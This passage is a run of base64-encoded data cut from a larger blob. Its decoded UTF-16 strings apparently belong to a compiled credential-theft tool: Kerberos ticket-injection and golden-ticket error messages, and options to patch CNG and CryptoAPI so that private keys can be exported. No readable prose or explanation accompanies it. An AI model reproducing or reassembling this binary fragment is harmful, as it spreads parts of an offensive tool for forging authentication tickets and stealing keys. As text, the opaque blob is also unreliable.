GsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZABhAHQAYQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBTAHUAYgBtAGkAdABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAABUAGkAYwBrAGUAdAAoAHMAKQAgAHAAdQByAGcAZQAgAGYAbwByACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIABpAHMAIABPAEsACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdQByAGcAZQAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBQAHUAcgBnAGUAVABpAGMAawBlAHQAQwBhAGMAaABlAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAEsAZQByAGIAZQByAG8AcwAgAFQARwBUACAAbwBmACAAYwB1AHIAcgBlAG4AdAAgAHMAZQBzAHMAaQBvAG4AIAA6ACAAAAAAAAAAAAAAAAAACgAKAAkAKgAqACAAUwBlAHMAcwBpAG8AbgAgAGsAZQB5ACAAaQBzACAATgBVAEwATAAhACAASQB0ACAAbQBlAGEAbgBzACAAYQBsAGwAbwB3AHQAZwB0AHMAZQBzAHMAaQBvAG4AawBlAHkAIABpAHMAIABuAG8AdAAgAHMAZQB0ACAAdABvACAAMQAgACoAKgAKAAAAAABuAG8AIAB0AGkAYwBrAGUAdAAgACEACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AdABnAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAABlAHgAcABvAHIAdAAAAAAACgBbACUAMAA4AHgAXQAgAC0AIAAwAHgAJQAwADgAeAAgAC0AIAAlAHMAAAAAAAAACgAgACAAIABTAHQAYQByAHQALwBFAG4AZAAvAE0AYQB4AFIAZQBuAGUAdwA6ACAAAAAAAAAAAAAgADsAIAAAAAAAAAAAAAAACgAgACAAIABTAGUAcgB2AGUAcgAgAE4AYQBtAGUAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoAIABAACAAJQB3AFoAAAAAAAAAAAAAAAAAAAAKACAAIAAgAEMAbABpAGUAbgB0ACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAKACAAIAAgAEYAbABhAGcAcwAgACUAMAA4AHgAIAAgACAAIAA6ACAAAAAAAAAAAABrAGkAcgBiAGkAAAAAAAAACgAgACAAIAAqACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAOgAgACUAcwAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUQB1AGUAcgB5AFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBFAHgAMgBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALQAlAHcAWgBAACUAdwBaAC0AJQB3AFoALgAlAHMAAAAAAHQAaQBjAGsAZQB0AC4AawBpAHIAYgBpAAAAAAAAAAAAdABpAGMAawBlAHQAAAAAAGEAZABtAGkAbgAAAAAAAABkAG8AbQBhAGkAbgAAAAAAcwBpAGQAAABkAGUAcwAAAHIAYwA0AAAAawByAGIAdABnAHQAAAAAAGEAZQBzADEAMgA4AAAAAABhAGUAcwAyADUANgAAAAAAdABhAHIAZwBlAHQAAAAAAGkAZAAAAAAAZwByAG8AdQBwAHMAAAAAADAAAAAAAAAAcwB0AGEAcgB0AG8AZgBmAHMAZQB0AAAANQAyADUANgAwADAAMAAAAGUAbgBkAGkAbgAAAAAAAAByAGUAbgBlAHcAbQBhAHgAAAAAAAAAAABVAHMAZQByACAAIAAgACAAIAAgADoAIAAlAHMACgBEAG8AbQBhAGkAbgAgACAAIAAgADoAIAAlAHMACgBTAEkARAAgACAAIAAgACAAIAAgADoAIAAlAHMACgBVAHMAZQByACAASQBkACAAIAAgADoAIAAlAHUACgAAAAAAAAAAAEcAcgBvAHUAcABzACAASQBkACAAOgAgACoAAAAAAAAAJQB1ACAAAAAKAFMAZQByAHYAaQBjAGUASwBlAHkAOgAgAAAAAAAAACAALQAgACUAcwAKAAAAAABTAGUAcgB2AGkAYwBlACAAIAAgADoAIAAlAHMACgAAAFQAYQByAGcAZQB0ACAAIAAgACAAOgAgACUAcwAKAAAATABpAGYAZQB0AGkAbQBlACAAIAA6ACAAAAAAAAAAAAAqACoAIABQAGEAcwBzACAAVABoAGUAIABUAGkAYwBrAGUAdAAgACoAKgAAAAAAAAAtAD4AIABUAGkAYwBrAGUAdAAgADoAIAAlAHMACgAKAAAAAAAAAAAACgBHAG8AbABkAGUAbgAgAHQAaQBjAGsAZQB0ACAAZgBvAHIAIAAnACUAcwAgAEAAIAAlAHMAJwAgAHMAdQBjAGMAZQBzAHMAZgB1AGwAbAB5ACAAcwB1AGIAbQBpAHQAdABlAGQAIABmAG8AcgAgAGMAdQByAHIAZQBuAHQAIABzAGUAcwBzAGkAbwBuAAoAAAAAAAAAAAAKAEYAaQBuAGEAbAAgAFQAaQBjAGsAZQB0ACAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQAgACEACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAAoAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAQwByAGUAZAAgAGUAcgByAG8AcgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAAcABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAYwBvAHUAbgB0AAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaAAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAAAAWAAtAEMAQQBDAEgARQBDAE8ATgBGADoAAAAAAAAAAAAKAFAAcgBpAG4AYwBpAHAAYQBsACAAOgAgAAAAAAAAAAoACgBEAGEAdABhACAAJQB1AAAAAAAAAAoACQAgACAAIAAqACAASQBuAGoAZQBjAHQAaQBuAGcAIAB0AGkAYwBrAGUAdAAgADoAIAAAAAAACgAJACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAJQBzACAAIQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAACgAJACoAIAAlAHcAWgAgAGUAbgB0AHIAeQA/ACAAKgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGMAYwBhAGMAaABlACAAdgBlAHIAcwBpAG8AbgAgACEAPQAgADAAeAAwADUAMAA0AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuA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GEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAAAAAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgBfAFgAUAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAAAATQBTAF8ARABFAEYAXwBEAFMAUwBfAFAAUgBPAFYAAAAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAEMAaABhAG4AbgBlAGwAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAAAAAE0AUwBfAEQARQBGAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBpAGcAbgBhAHQAdQByAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFMAdAByAG8AbgBnACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAE0AUwBfAFMAVABSAE8ATgBHAF8AUABSAE8AVgAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAdgAxAC4AMAAAAAAATQBTAF8ARQBOAEgAQQBOAEMARQBEAF8AUABSAE8AVgAAAAAAAAAAAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAFMARQBSAFYASQBDAEUAUwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AUwBFAFIAVgBJAEMARQAAAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBFAE4AVABFAFIAUABSAEkAUwBFAAAAAAAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAAAAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBDAFUAUgBSAEUATgBUAF8AVQBTAEUAUgBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAAAAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAUABhAHQAYwBoACAAQwBOAEcAIABzAGUAcgB2AGkAYwBlACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABjAG4AZwAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMAcgB5AHAAdABvAEEAUABJACAAbABhAHkAZQByACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABjAGEAcABpAAAAAAAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGsAZQB5AHMAIABjAG8AbgB0AGEAaQBuAGUAcgBzAAAAAAAAAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAAAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcAByAG8AdgBpAGQAZQByAHMAAAAAAAAAAABwAHIAbwB2AGkAZABlAHIAcwAAAAAAAABDAHIAeQBwAHQAbwAgAE0AbwBkAHUAbABlAAAAAAAAAGMAcgB5AHAAdABvAAAAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAAAAAAG4AYwByAHkAcAB0AAAAAABOQ3J5cHRPcGVuU3RvcmFnZVByb3ZpZGVyAAAAAAAAAE5DcnlwdEVudW1LZXlzAABOQ3J5cHRPcGVuS2V5AAAATkNyeXB0RXhwb3J0S2V5AE5Dc